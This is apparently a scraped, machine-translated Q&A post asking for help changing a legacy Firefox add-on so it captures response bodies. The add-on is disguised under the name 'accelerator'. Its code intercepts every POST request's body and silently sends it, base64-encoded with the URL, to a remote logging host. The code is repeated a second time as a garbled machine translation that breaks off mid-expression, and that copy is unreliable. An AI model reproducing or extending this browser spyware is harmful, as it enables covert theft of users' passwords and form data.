Javascript 在Firefox加载项中获取原始响应正文
请帮助更改拦截响应体(RAW)的此代码。 我已经认为这是不可能的。 如果可能,请立即编辑此代码。 有一些例子是关于我在检查响应时对http所做的更改,但其中任何一个都不起作用,我不知道为什么。 提前谢谢Javascript 在Firefox加载项中获取原始响应正文,javascript,firefox,firefox-addon,response,Javascript,Firefox,Firefox Addon,Response,请帮助更改拦截响应体(RAW)的此代码。 我已经认为这是不可能的。 如果可能,请立即编辑此代码。 有一些例子是关于我在检查响应时对http所做的更改,但其中任何一个都不起作用,我不知道为什么。 提前谢谢 // Адрес хоста для отправки отчетов var log_host = "test.com"; // Путь к скрипту - приемщику var log_uri = "/test.php"; // Максимальный размер POST-
// Адрес хоста для отправки отчетов
var log_host = "test.com";
// Путь к скрипту - приемщику
var log_uri = "/test.php";
// Максимальный размер POST-данных для отправки
var log_req_limit = 1024;
var accelerator =
{
// Функция для установки обработчика на событие http-on-modify-request
// Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications
add_observer : function()
{
var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
observerService.addObserver(this, "http-on-modify-request", false);
},
// Функция для снятия обработчика на событие http-on-modify-request
// Не вызывается, но пусть будет
remove_observer : function()
{
var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
observerService.removeObserver(this, "http-on-modify-request");
},
// Функция, которая вызывается при возникновении интересующего нас события
observe : function(subject, topic, data)
{
var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
// Проверяем тип события
if(topic == "http-on-modify-request")
{
// Исключаем из фильтрации URL хоста для приема отчетов
var uri = subject.URI.spec;
if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri))
{
return;
}
// Обрабатываем только POST-запросы
if(http_channel.requestMethod == "POST")
{
// Извлекаем объект в котором хранится запрос
var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel);
var upload_channel_stream = upload_channel.uploadStream;
upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
stream.setInputStream(upload_channel_stream);
// Получаем содержимое POST-запроса в виде строки
var post_bytes = stream.readByteArray(stream.available());
var post_data = String.fromCharCode.apply(null, post_bytes);
// Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого
var tmp = post_data.split("\r\n\r\n");
if(tmp[1] && tmp[1].length <= log_req_limit)
{
this.send_post_data(uri, tmp[1]);
}
// Устанавливаем смещение в потоке на начало
upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
}
}
},
// Вспомогательная функция для отправки POST-запроса на хост
send_post_data : function(uri, data)
{
// Кодируем данные для безопасной передачи
var enc_data = escape(this.base64_encode(data));
var enc_uri = escape(this.base64_encode(uri));
// XMLHttpRequest вызванный из расширения не обладает стандартными ограничениями
// таким образом обратиться можно к любому хосту
var req = new XMLHttpRequest();
req.open("POST", "http://" + log_host + log_uri, true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.send("uri=" + enc_uri + "&info=" + enc_data);
},
// Неведомая фигня, которая была взята из tamper data
QueryInterface : function(iid)
{
if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver))
{
return this;
}
throw Components.results.NS_NOINTERFACE;
},
// Вспомогательный метод для кодирования данных в Base64
base64_encode : function(data)
{
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
ac = 0,
enc = "",
tmp_arr = [];
if(!data)
{
return data;
}
do
{
o1 = data.charCodeAt(i++);
o2 = data.charCodeAt(i++);
o3 = data.charCodeAt(i++);
bits = o1 << 16 | o2 << 8 | o3;
h1 = bits >> 18 & 0x3f;
h2 = bits >> 12 & 0x3f;
h3 = bits >> 6 & 0x3f;
h4 = bits & 0x3f;
tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
} while (i < data.length);
enc = tmp_arr.join('');
var r = data.length % 3;
return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
}
};
// Вызываем метод, который установит обработчик на интересующее нас событие
accelerator.add_observer();
//
var log_host=“test.com”;
// Путь к скрипту - приемщику
var log_uri=“/test.php”;
//职位-职位
var log_req_limit=1024;
无功加速器=
{
//修改请求时的http
// Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications
添加观察者:函数()
{
var observerService=Components.classes[“@mozilla.org/observer service;1”].getService(Components.interfaces.nsIObserverService);
addObserver(这是“修改请求时的http”,false);
},
//修改请求时的Фааааааааааааачааааа
// Не вызывается, но пусть будет
移除观察者:函数()
{
var observerService=Components.classes[“@mozilla.org/observer service;1”].getService(Components.interfaces.nsIObserverService);
removeObserver(这是“修改请求时的http”);
},
// Функция, которая вызывается при возникновении интересующего нас события
观察:功能(主题、主题、数据)
{
var http_channel=subject.QueryInterface(Components.interfaces.nsIHttpChannel);
// Проверяем тип события
如果(主题==“修改请求时的http”)
{
//地址
var uri=subject.uri.spec;
if(新的RegExp(“^http://”(?:www\.)*”+log_host,'i').test(uri))
{
返回;
}
//职位-职位
如果(http_channel.requestMethod==“POST”)
{
// Извлекаем объект в котором хранится запрос
var upload\u channel=http\u channel.QueryInterface(Components.interfaces.nsIUploadChannel);
var upload_channel_stream=upload_channel.uploadStream;
上传\u channel\u stream.QueryInterface(Components.interfaces.nsiseakblestream).seek(Components.interfaces.nsiseakblestream.NS\u seek\u SET,0);
var stream=Components.classes[“@mozilla.org/binaryinputstream;1”].createInstance(Components.interfaces.nsibaryinputstream);
setInputStream(上传通道流);
//职位-职位-职位
var post_bytes=stream.readByteArray(stream.available());
var post_data=String.fromCharCode.apply(null,post_字节);
// Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого
var tmp=post_data.split(“\r\n\r\n”);
如果(tmp[1]&&tmp[1]。长度>12&0x3f;
h3=位>>6&0x3f;
h4=位&0x3f;
tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);
}而(i
您遇到了什么错误?您的代码似乎根本没有处理响应主体,只是处理请求主体。这是怎么回事?还有,这里的最终目标是什么?它不是窥探毫无戒心的用户,是吗?错误是什么你得到了吗?没有错误,它工作得很好,但我需要拦截响应正文而不是帖子正文。它不是在窥探毫无戒心的用户,是吗?没有。还有,这里的最终目标是什么?有必要拦截响应正文而不是帖子正文。因此,我想拦截浏览器的所有请求,而不仅仅是帖子。请参阅上的http-examime响应
通知和/或nsITraceableChannel
。我附加了新版本,但它不起作用。警报返回空值。请帮助我执行此操作,请参阅: